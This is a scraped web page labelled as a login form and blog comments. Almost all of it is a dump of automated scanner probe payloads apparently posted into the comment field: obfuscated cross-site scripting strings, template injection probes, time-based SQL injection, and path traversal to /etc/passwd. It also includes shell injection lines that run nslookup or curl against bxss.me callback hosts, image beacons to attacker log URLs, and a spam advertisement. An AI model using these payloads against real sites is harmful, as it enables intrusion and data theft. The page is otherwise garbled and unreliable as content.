VNC

Login Form



My Resource

Blog Comments





555<script>ep36(9475)</script>

'}dfb{#98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=0c7a(9510)>

5559649822

555<iframe src='data:text/html

555}body{zzz:Expre/**/SSion(YI2g(9339))}

555<ScR<ScRiPt>IpT>ep36(9825)</sCr<ScRiPt>IpT>

bfg10400\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10400

555<body onload=xYfz(9163)>

555qWmls <ScRiPt >YI2g(9235)</ScRiPt>

'}dfb{@98991*97996}xca

555<img src=xyz OnErRor=0c7a(9732)>

555<ScRiPt >ep36(9622)</ScRiPt>

bfgx9517\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9517

555<img/src=">" onerror=alert(9654)>

555<img src=//xss.bxss.me/t/dot.gif onload=xYfz(9168)>

555<WC0HPP>3WB8O[!+!]</WC0HPP>

<%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%30%63%37%61%289133%29%3C%2F%73%43%72%69%70%54%3E

555<img src=xyz OnErRor=xYfz(9566)>

555<ifRAme sRc=9463.com></IfRamE>

'}}dfb{{=98991*97996}}xca

555

555<img/src=">" onerror=alert(9439)>

555<aTv8Q7z x=9016>

555<ScRiPt >ep36(9750)</ScRiPt>

')dfb@(98991*97996)xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%78%59%66%7A%289776%29%3C%2F%73%43%72%69%70%54%3E

555<img sRc='http://attacker-9653/log.php?

555<svg \xa0onload=ep36(9324)

'%>dfb<%=98991*97996%>xca

555\u003CScRiPt\xYfz(9291)\u003C/sCripT\u003E

555<auxYIBv<

555<isindex type=image src=1 onerror=ep36(9411)>

'}dfb#set($x=98991*97996)${x}xca

<th:t="${dfb}#foreach

555&lt

'}dfb{{"abc"|title}}xca

555

'print("dfb" . 98991*97996 . "xca")

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

'98991*97996*98991*97996

555\u003CScRiPt\0c7a(9499)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=xYfz(91081) //\xf6>

555<iframe src='data:text/html

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555&lt

555<input autofocus onfocus=xYfz(9217)>

555

\xf6<img zzz onmouseover=0c7a(91951) //\xf6>

555<input autofocus onfocus=0c7a(9837)>

'}}}dfb{{{this}}}xca

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

'}#{98991*97996*98991*97996}

555}body{zzz:Expre/**/SSion(0c7a(9137))}

555}body{zzz:Expre/**/SSion(xYfz(9771))}

dfb[[${98991*97996}]]xca

555<body onload=ep36(9322)>

'}dfb#{xca}=123

555DwulU <ScRiPt >0c7a(9990)</ScRiPt>

555xwfiQ <ScRiPt >xYfz(9591)</ScRiPt>

dfb__${98991*97996}__::.x

555<img src=//xss.bxss.me/t/dot.gif onload=ep36(9993)>

'}}dfb{{'abcd'.toUpperCase()}}xca

555<WS0QNH>HKWCO[!+!]</WS0QNH>

555<W41C5V>STAB2[!+!]</W41C5V>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img src=xyz OnErRor=ep36(9117)>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ScRiPt >srRO(9833)</ScRiPt>

555<ifRAme sRc=9775.com></IfRamE>

555<ifRAme sRc=9242.com></IfRamE>

555<img/src=">" onerror=alert(9408)>

'}}dfb{{98991*97996}}xca

555<WFOPOM>CYLF5[!+!]</WFOPOM>

555<aDBqQs5 x=9205>

'}dfb[[${98991*97996}]]xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%70%33%36%289844%29%3C%2F%73%43%72%69%70%54%3E

555<aZTZosg x=9542>

555<img sRc='http://attacker-9983/log.php?

555<script>srRO(9465)</script>

555\u003CScRiPt\ep36(9910)\u003C/sCripT\u003E

555<img sRc='http://attacker-9011/log.php?

'dfb__${98991*97996}__::.x

555&lt

555<aoQML0s<

555<ScR<ScRiPt>IpT>srRO(9331)</sCr<ScRiPt>IpT>

\xf6<img zzz onmouseover=ep36(96851) //\xf6>

555<aq8rHVK<

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<input autofocus onfocus=ep36(9161)>

555<ScRiPt >srRO(9480)</ScRiPt>

1}}dfb{{98991*97996}}xca

1%}dfb{{98991*97996}}xca

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9291></ScRiPt>

In Etsy, Amazon, eBay, Shopify https://pint77.com Pinterest+SEO +II = high sales results

555<ScRiPt >srRO(9194)</ScRiPt>

1}dfb{98991*97996}xca

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(ep36(9859))}

1}dfb${98991*97996}xca

555<svg \xa0onload=srRO(9581)

555qRBpA <ScRiPt >ep36(9960)</ScRiPt>

1}dfb#{98991*97996}xca

555<isindex type=image src=1 onerror=srRO(9716)>

1}dfb{#98991*97996}xca

555<WP82RQ>INXN2[!+!]</WP82RQ>

555<iframe src='data:text/html

1}dfb{@98991*97996}xca

555<ifRAme sRc=9559.com></IfRamE>

555<body onload=srRO(9144)>

1}}dfb{{=98991*97996}}xca

555<ap8iTVn x=9471>

555<img src=//xss.bxss.me/t/dot.gif onload=srRO(9661)>

555<img sRc='http://attacker-9058/log.php?

1)dfb@(98991*97996)xca

555<img src=xyz OnErRor=srRO(9036)>

1%>dfb<%=98991*97996%>xca

555<aQ6M9q1<

555<img/src=">" onerror=alert(9454)>

1}dfb#set($x=98991*97996)${x}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%73%72%52%4F%289221%29%3C%2F%73%43%72%69%70%54%3E

1}dfb{{"abc"|title}}xca

555\u003CScRiPt\srRO(9605)\u003C/sCripT\u003E

1print("dfb" . 98991*97996 . "xca")

555&lt

198991*97996*98991*97996

\xf6<img zzz onmouseover=srRO(97701) //\xf6>

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<input autofocus onfocus=srRO(9123)>

<a HrEF=http://xss.bxss.me></a>

1}}}dfb{{{this}}}xca

<a HrEF=jaVaScRiPT:>

1}#{98991*97996*98991*97996}

555}body{zzz:Expre/**/SSion(srRO(9179))}

1}dfb#{xca}=123

1}}dfb{{'abcd'.toUpperCase()}}xca

555EgFlM <ScRiPt >srRO(9550)</ScRiPt>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<WWPFGU>6SPH2[!+!]</WWPFGU>

1}}dfb{{98991*97996}}xca

555<ifRAme sRc=9956.com></IfRamE>

1}dfb[[${98991*97996}]]xca

555<aRzK0sG x=9934>

1dfb__${98991*97996}__::.x

555<img sRc='http://attacker-9268/log.php?

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<a9xARny<

555<ScRiPt >WeIv(9910)</ScRiPt>

555<WCJ6EG>RK1HF[!+!]</WCJ6EG>

555<script>WeIv(9906)</script>

555<ScR<ScRiPt>IpT>WeIv(9028)</sCr<ScRiPt>IpT>

555<ScRiPt >WeIv(9628)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9571></ScRiPt>

555<ScRiPt >WeIv(9672)</ScRiPt>

555<svg \xa0onload=WeIv(9542)

555<isindex type=image src=1 onerror=WeIv(9175)>

555<iframe src='data:text/html

555<body onload=WeIv(9058)>

555<img src=//xss.bxss.me/t/dot.gif onload=WeIv(9546)>

555<img src=xyz OnErRor=WeIv(9135)>

555<img/src=">" onerror=alert(9057)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%57%65%49%76%289657%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\WeIv(9516)\u003C/sCripT\u003E

555&lt

\xf6<img zzz onmouseover=WeIv(90741) //\xf6>

555<input autofocus onfocus=WeIv(9505)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(WeIv(9236))}

555Kdt0o <ScRiPt >WeIv(9668)</ScRiPt>

555<W7QFLN>PC39V[!+!]</W7QFLN>

555<ifRAme sRc=9873.com></IfRamE>

555<aJAuso0 x=9379>

555<img sRc='http://attacker-9385/log.php?

555<aJhl0sG<

555

echo dbyzct$()\ eoeetw\nz^xyu||a #' &echo dbyzct$()\ eoeetw\nz^xyu||a #|" &echo dbyzct$()\ eoeetw\nz^xyu||a #

response.write(9819815*9270767)

1DdNifL0maO

555

'+response.write(9819815*9270767)+'

555

555

&echo ujwtiy$()\ fnwrgn\nz^xyu||a #' &echo ujwtiy$()\ fnwrgn\nz^xyu||a #|" &echo ujwtiy$()\ fnwrgn\nz^xyu||a #

"+response.write(9819815*9270767)+"

555

555&echo qdarbg$()\ dzwmms\nz^xyu||a #' &echo qdarbg$()\ dzwmms\nz^xyu||a #|" &echo qdarbg$()\ dzwmms\nz^xyu||a #

50mwWSJR

|echo pwmqpt$()\ fbhooc\nz^xyu||a #' |echo pwmqpt$()\ fbhooc\nz^xyu||a #|" |echo pwmqpt$()\ fbhooc\nz^xyu||a #

555

555

555|echo xfsdvs$()\ mmsiri\nz^xyu||a #' |echo xfsdvs$()\ mmsiri\nz^xyu||a #|" |echo xfsdvs$()\ mmsiri\nz^xyu||a #

-1 OR 2+365-365-1=0+0+0+1 --

Sgn1g9Z9

555

555 bcc:009247.1874-119608.1874.c060c.19886.2@bxss.me

-1 OR 2+150-150-1=0+0+0+1

(nslookup -q=cname hitktiaybfpwv8a609.bxss.me||curl hitktiaybfpwv8a609.bxss.me))

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

$(nslookup -q=cname hituquwcdldktf4e6b.bxss.me||curl hituquwcdldktf4e6b.bxss.me)

-1' OR 2+736-736-1=0+0+0+1 --

to@example.com> bcc:009247.1874-119609.1874.c060c.19886.2@bxss.me

12345'"\'\")

555

-1' OR 2+844-844-1=0+0+0+1 or 'bp2BTlNH'='

&nslookup -q=cname hitnxfozcdpzq2ba5f.bxss.me&'\"`0&nslookup -q=cname hitnxfozcdpzq2ba5f.bxss.me&`'

file:///etc/passwd

555

&(nslookup -q=cname hitrvnnhpsssa229e6.bxss.me||curl hitrvnnhpsssa229e6.bxss.me)&'\"`0&(nslookup -q=cname hitrvnnhpsssa229e6.bxss.me||curl hitrvnnhpsssa229e6.bxss.me)&`'

-1" OR 2+606-606-1=0+0+0+1 --

555

555<esi:include src="http://bxss.me/rpb.png"/>

if(now()=sysdate(),sleep(15),0)

|(nslookup -q=cname hitgxypyzhgowff141.bxss.me||curl hitgxypyzhgowff141.bxss.me)

../555

`(nslookup -q=cname hitwsvgzyggqf80db8.bxss.me||curl hitwsvgzyggqf80db8.bxss.me)`

555

555

555

555

${9999786+9999467}

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

555

555

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

)

555

555&n918720=v929471

Http://bxss.me/t/fit.txt

!(()&&!|*|*|

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

555

http://bxss.me/t/fit.txt?.jpg

^(#$!@#$)(()))******

555

/etc/shells

555

555

-1

555

c:/windows/win.ini

555

555

bxss.me

555

555

555

'.gethostbyname(lc('hitqm'.'husgzyzh12ad4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(71).chr(108).chr(65).'

-1)

555

'"()

555

".gethostbyname(lc("hitis"."dnzvtocu87b7e.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(73).chr(112).chr(84)."

'

555

555'&&sleep(27*1000)*mmzxvq&&'

555

"

555

1 waitfor delay '0:0:15' --

555

555"&&sleep(27*1000)*kceksg&&"

555

${@print(md5(31337))}

${@print(md5(31337))}\

555

555

555'||sleep(27*1000)*mihaog||'

555

'.print(md5(31337)).'

zK9VcM31'

HttP://bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(97).concat(67).concat(106).concat(77)+(require"socket" Socket.gethostbyname("hitnn"+"qrxfobgveaaf6.bxss.me.")[3].to_s)+"

555"||sleep(27*1000)*aklykc||"

555

555

bxss.me/t/xss.html?%00

'+'A'.concat(70-3).concat(22*4).concat(113).concat(68).concat(119).concat(81)+(require'socket' Socket.gethostbyname('hitpf'+'kylipyvt8780b.bxss.me.')[3].to_s)+'

555

555

555

555

555

-5 OR 474=(SELECT 474 FROM PG_SLEEP(15))--

555

555

comments

555

555

555

555

comments

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

comments/.

-5) OR 80=(SELECT 80 FROM PG_SLEEP(15))--

xfs.bxss.me

555

555

555

555

555

555

'"

555'"()&%<zzz><ScRiPt >oo1e(9417)</ScRiPt>

555

-1)) OR 619=(SELECT 619 FROM PG_SLEEP(15))--

555

<!--

'"()&%<zzz><ScRiPt >oo1e(9102)</ScRiPt>

555

kTpWYD33' OR 793=(SELECT 793 FROM PG_SLEEP(15))--

555

555

5559400886

Gn8YLinC') OR 369=(SELECT 369 FROM PG_SLEEP(15))--

555

555

555

hkwb3ErC')) OR 908=(SELECT 908 FROM PG_SLEEP(15))--

555

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

1'"

555'"()&%<zzz><ScRiPt >j1aF(9793)</ScRiPt>

1\xc0\xa7\xc0\xa2%2527%2522

@@4WInV

555

555

'"()&%<zzz><ScRiPt >j1aF(9351)</ScRiPt>

555

555

5559843953

555

bfg6337\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6337

555

555

555

bfgx7682\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7682

555'"()&%<zzz><ScRiPt >DYqb(9607)</ScRiPt>

555

555'"()&%<zzz><ScRiPt >90GC(9675)</ScRiPt>

555

'"()&%<zzz><ScRiPt >DYqb(9636)</ScRiPt>

555

<%={{={@{#{${dfb}}%>

555

555

'"()&%<zzz><ScRiPt >90GC(9929)</ScRiPt>

5559795574

555

<th:t="${dfb}#foreach

555

bfg10836\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10836

5559865204

555

bfg10558\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10558

555

555

555

bfgx6002\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6002

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

bfgx2959\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2959

555

555

555

555

<%={{={@{#{${dfb}}%>

555

555

1D3ZzqfYg4O

dfb{{98991*97996}}xca

555

555

dfb[[${98991*97996}]]xca

555

<th:t="${dfb}#foreach

555

dfb__${98991*97996}__::.x

<th:t="${dfb}#foreach

555

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >j1aF(9077)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

MO79R5Rg

dfb{{98991*97996}}xca

-1 OR 2+632-632-1=0+0+0+1 --

dfb[[${98991*97996}]]xca

555<WIK3CA>YJYTV[!+!]</WIK3CA>

555

-1 OR 2+680-680-1=0+0+0+1

-1' OR 2+906-906-1=0+0+0+1 --

dfb__${98991*97996}__::.x

555<script>j1aF(9847)</script>

-1' OR 2+27-27-1=0+0+0+1 or 'pbHg6cLA'='

dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

echo ilzqcg$()\ ghqmbx\nz^xyu||a #' &echo ilzqcg$()\ ghqmbx\nz^xyu||a #|" &echo ilzqcg$()\ ghqmbx\nz^xyu||a #

response.write(9137114*9607607)

555<ScR<ScRiPt>IpT>j1aF(9307)</sCr<ScRiPt>IpT>

-1" OR 2+767-767-1=0+0+0+1 --

dfb[[${98991*97996}]]xca

../../../../../../../../../../../../../../etc/passwd

if(now()=sysdate(),sleep(15),0)

uF2MY6fZ

'+response.write(9137114*9607607)+'

555<ScRiPt >DYqb(9681)</ScRiPt>

&echo amgbno$()\ qvumhk\nz^xyu||a #' &echo amgbno$()\ qvumhk\nz^xyu||a #|" &echo amgbno$()\ qvumhk\nz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

555<ScRiPt >j1aF(9037)</ScRiPt>

file:///etc/passwd

dfb__${98991*97996}__::.x

555&echo grvpts$()\ bdywqv\nz^xyu||a #' &echo grvpts$()\ bdywqv\nz^xyu||a #|" &echo grvpts$()\ bdywqv\nz^xyu||a #

"+response.write(9137114*9607607)+"

555

555<WSQNOE>CLLPQ[!+!]</WSQNOE>

555 bcc:009247.1875-254280.1875.5a204.19886.2@bxss.me

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

|echo hlydke$()\ ztqeoo\nz^xyu||a #' |echo hlydke$()\ ztqeoo\nz^xyu||a #|" |echo hlydke$()\ ztqeoo\nz^xyu||a #

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9394></ScRiPt>

555|echo sdceem$()\ gcyzod\nz^xyu||a #' |echo sdceem$()\ gcyzod\nz^xyu||a #|" |echo sdceem$()\ gcyzod\nz^xyu||a #

../555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

to@example.com> bcc:009247.1875-254281.1875.5a204.19886.2@bxss.me

12345'"\'\")

555<script>DYqb(9578)</script>

(nslookup -q=cname hitncivztypjx528b2.bxss.me||curl hitncivztypjx528b2.bxss.me))

555

555

$(nslookup -q=cname hitziuzfbrpvr2d34d.bxss.me||curl hitziuzfbrpvr2d34d.bxss.me)

555<esi:include src="http://bxss.me/rpb.png"/>

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

555

555<ScRiPt >j1aF(9078)</ScRiPt>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555<ScRiPt >90GC(9891)</ScRiPt>

-1

555<ScR<ScRiPt>IpT>DYqb(9960)</sCr<ScRiPt>IpT>

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

&nslookup -q=cname hitnopgvfcraqda94d.bxss.me&'\"`0&nslookup -q=cname hitnopgvfcraqda94d.bxss.me&`'

${10000116+9999125}

-1)

555

555

&(nslookup -q=cname hitwgnlrdzewvc9831.bxss.me||curl hitwgnlrdzewvc9831.bxss.me)&'\"`0&(nslookup -q=cname hitwgnlrdzewvc9831.bxss.me||curl hitwgnlrdzewvc9831.bxss.me)&`'

|(nslookup -q=cname hitbesulyxewt87707.bxss.me||curl hitbesulyxewt87707.bxss.me)

555

555&n904914=v966269

1 waitfor delay '0:0:15' --

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555<svg \xa0onload=j1aF(9062)

555<WGNTTY>JKYYH[!+!]</WGNTTY>

VAourLJv'

)

Http://bxss.me/t/fit.txt

555

555<ScRiPt >DYqb(9489)</ScRiPt>

555

555

555

`(nslookup -q=cname hitfltkwkjcxfd3f9b.bxss.me||curl hitfltkwkjcxfd3f9b.bxss.me)`

-5 OR 588=(SELECT 588 FROM PG_SLEEP(15))--

!(()&&!|*|*|

http://bxss.me/t/fit.txt?.jpg

-5) OR 992=(SELECT 992 FROM PG_SLEEP(15))--

555<isindex type=image src=1 onerror=j1aF(9017)>

555

'.gethostbyname(lc('hitur'.'yuioiivce666f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(89).chr(112).chr(90).'

555<script>90GC(9806)</script>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9879></ScRiPt>

^(#$!@#$)(()))******

/etc/shells

555

-1)) OR 748=(SELECT 748 FROM PG_SLEEP(15))--

555

".gethostbyname(lc("hitov"."akapukwad786d.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(90).chr(108).chr(80)."

555<ScR<ScRiPt>IpT>90GC(9108)</sCr<ScRiPt>IpT>

555<iframe src='data:text/html

c:/windows/win.ini

555

ExXPMeMK' OR 304=(SELECT 304 FROM PG_SLEEP(15))--

555

'

555

555<ScRiPt >DYqb(9413)</ScRiPt>

bxss.me

555

7BVNyJsG') OR 62=(SELECT 62 FROM PG_SLEEP(15))--

555

"

555

555<ScRiPt >90GC(9301)</ScRiPt>

555<body onload=j1aF(9223)>

555

555

6ye6Kz32')) OR 148=(SELECT 148 FROM PG_SLEEP(15))--

555

555

${@print(md5(31337))}

555<svg \xa0onload=DYqb(9321)

HttP://bxss.me/t/xss.html?%00

555

555<img src=//xss.bxss.me/t/dot.gif onload=j1aF(9779)>

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

"+"A".concat(70-3).concat(22*4).concat(102).concat(78).concat(110).concat(72)+(require"socket" Socket.gethostbyname("hitlj"+"pxkebqrb353f8.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(110).concat(80).concat(100).concat(83)+(require'socket' Socket.gethostbyname('hityg'+'pfimgcly6a64e.bxss.me.')[3].to_s)+'

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9547></ScRiPt>

bxss.me/t/xss.html?%00

555

${@print(md5(31337))}\

555

'"()

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555<img src=xyz OnErRor=j1aF(9224)>

555

555

555<ScRiPt >90GC(9407)</ScRiPt>

555<isindex type=image src=1 onerror=DYqb(9962)>

555

555

'.print(md5(31337)).'

555

555'&&sleep(27*1000)*lbitow&&'

1'"

comments

555

1\xc0\xa7\xc0\xa2%2527%2522

555"&&sleep(27*1000)*pxwfdr&&"

555<img/src=">" onerror=alert(9431)>

555

555

555

comments

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

@@Z9jvC

555'||sleep(27*1000)*cblaye||'

555<iframe src='data:text/html

comments/.

555<svg \xa0onload=90GC(9459)

555

555

555

xfs.bxss.me

555

555

555"||sleep(27*1000)*qhfauw||"

%35%35%35%3C%53%63%52%69%50%74%20%3E%6A%31%61%46%289679%29%3C%2F%73%43%72%69%70%54%3E

555

555

555

555

555

'"

555

555

555<body onload=DYqb(9884)>

555<isindex type=image src=1 onerror=90GC(9549)>

555

555

555

555

555'"()&%<zzz><ScRiPt >zkID(9860)</ScRiPt>

<!--

555

555\u003CScRiPt\j1aF(9271)\u003C/sCripT\u003E

555

555

555<iframe src='data:text/html

555

555<img src=//xss.bxss.me/t/dot.gif onload=DYqb(9023)>

'"()&%<zzz><ScRiPt >zkID(9707)</ScRiPt>

555

555

555

555

555

555

5559654382

555

555

555<body onload=90GC(9060)>

555

555<img src=xyz OnErRor=DYqb(9444)>

555

555

555

555&lt

555

555

555

555<img src=//xss.bxss.me/t/dot.gif onload=90GC(9809)>

555

555<img/src=">" onerror=alert(9412)>

\xf6<img zzz onmouseover=j1aF(90721) //\xf6>

555

555

555<input autofocus onfocus=j1aF(9813)>

555'"()&%<zzz><ScRiPt >Fr8H(9370)</ScRiPt>

555

555<img src=xyz OnErRor=90GC(9255)>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%59%71%62%289798%29%3C%2F%73%43%72%69%70%54%3E

555

555

<a HrEF=http://xss.bxss.me></a>

'"()&%<zzz><ScRiPt >Fr8H(9960)</ScRiPt>

555<img/src=">" onerror=alert(9906)>

555

555\u003CScRiPt\DYqb(9726)\u003C/sCripT\u003E

<a HrEF=jaVaScRiPT:>

555

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%39%30%47%43%289158%29%3C%2F%73%43%72%69%70%54%3E

5559720560

555&lt

555\u003CScRiPt\90GC(9122)\u003C/sCripT\u003E

555

555}body{zzz:Expre/**/SSion(j1aF(9100))}

555

555

\xf6<img zzz onmouseover=DYqb(98491) //\xf6>

bfg2044\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2044

555&lt

555

555<input autofocus onfocus=DYqb(9934)>

555

555znbnc <ScRiPt >j1aF(9495)</ScRiPt>

bfgx9822\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9822

\xf6<img zzz onmouseover=90GC(94961) //\xf6>

555

555<WTXT3U>TEUJD[!+!]</WTXT3U>

<a HrEF=http://xss.bxss.me></a>

555

<%={{={@{#{${dfb}}%>

<a HrEF=jaVaScRiPT:>

555<input autofocus onfocus=90GC(9694)>

555<ifRAme sRc=9428.com></IfRamE>

555<axGVa6T x=9176>

555

555}body{zzz:Expre/**/SSion(DYqb(9936))}

<a HrEF=http://xss.bxss.me></a>

555AFPSb <ScRiPt >DYqb(9980)</ScRiPt>

555<img sRc='http://attacker-9584/log.php?

<th:t="${dfb}#foreach

<a HrEF=jaVaScRiPT:>

555<aq13kCK<

555<WK048I>VALUU[!+!]</WK048I>

555}body{zzz:Expre/**/SSion(90GC(9542))}

555

555<ifRAme sRc=9955.com></IfRamE>

555zrEcM <ScRiPt >90GC(9555)</ScRiPt>

dfb{{98991*97996}}xca

555<azrN6Hh x=9437>

555<WTBUAO>TZSKV[!+!]</WTBUAO>

dfb{{98991*97996}}xca

555<img sRc='http://attacker-9835/log.php?

555<ifRAme sRc=9958.com></IfRamE>

dfb{98991*97996}xca

555<arclrUC<

555<axaY3Fg x=9534>

dfb${98991*97996}xca

555'"()&%<zzz><ScRiPt >vGFR(9441)</ScRiPt>

555'"()&%<zzz><ScRiPt >y17K(9112)</ScRiPt>

555<img sRc='http://attacker-9811/log.php?

dfb#{98991*97996}xca

'"()&%<zzz><ScRiPt >vGFR(9354)</ScRiPt>

555<aERzkWS<

dfb{#98991*97996}xca

dfb{@98991*97996}xca

555'"()&%<zzz><ScRiPt >EhRg(9082)</ScRiPt>

5559920624

dfb{{=98991*97996}}xca

'"()&%<zzz><ScRiPt >EhRg(9107)</ScRiPt>

5559728934

dfb@(98991*97996)xca

5559486382

bfg8712\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8712

bfg1547\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1547

dfb<%=98991*97996%>xca

bfg9430\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9430

bfgx1325\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1325

dfb#set($x=98991*97996)${x}xca

<%={{={@{#{${dfb}}%>

dfb{{"abc"|title}}xca

<th:t="${dfb}#foreach

print("dfb" . 98991*97996 . "xca")

555

555'"()&%<zzz><ScRiPt >7hcE(9162)</ScRiPt>

'"()&%<zzz><ScRiPt >7hcE(9127)</ScRiPt>

5559049063

555

bfgx3803\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3803

98991*97996*98991*97996

555

dfb{{98991*97996}}xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb{{{this}}}xca

<%={{={@{#{${dfb}}%>

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

#{98991*97996*98991*97996}

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

dfb#{xca}=123

555

555<ScRiPt >EhRg(9312)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{'abcd'.toUpperCase()}}xca

<th:t="${dfb}#foreach

555'"()&%<zzz><ScRiPt >Ud9X(9703)</ScRiPt>

555<WN6IOE>NICCI[!+!]</WN6IOE>

555<ScRiPt >y17K(9139)</ScRiPt>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555

'"()&%<zzz><ScRiPt >Ud9X(9913)</ScRiPt>

555<WLFXZE>YOWIM[!+!]</WLFXZE>

dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >mg95(9741)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

'"()&%<zzz><ScRiPt >mg95(9888)</ScRiPt>

5559350648

555<script>y17K(9852)</script>

5559040326

555<script>EhRg(9384)</script>

555<ScR<ScRiPt>IpT>y17K(9712)</sCr<ScRiPt>IpT>

bfg10650\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10650

bfg8072\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8072

dfb[[${98991*97996}]]xca

555

555<ScR<ScRiPt>IpT>EhRg(9417)</sCr<ScRiPt>IpT>

555<ScRiPt >y17K(9508)</ScRiPt>

bfgx2009\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2009

dfb{{98991*97996}}xca

bfgx5791\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5791

dfb__${98991*97996}__::.x

<%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9881></ScRiPt>

555<ScRiPt >EhRg(9785)</ScRiPt>

dfb[[${98991*97996}]]xca

555

<%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >y17K(9486)</ScRiPt>

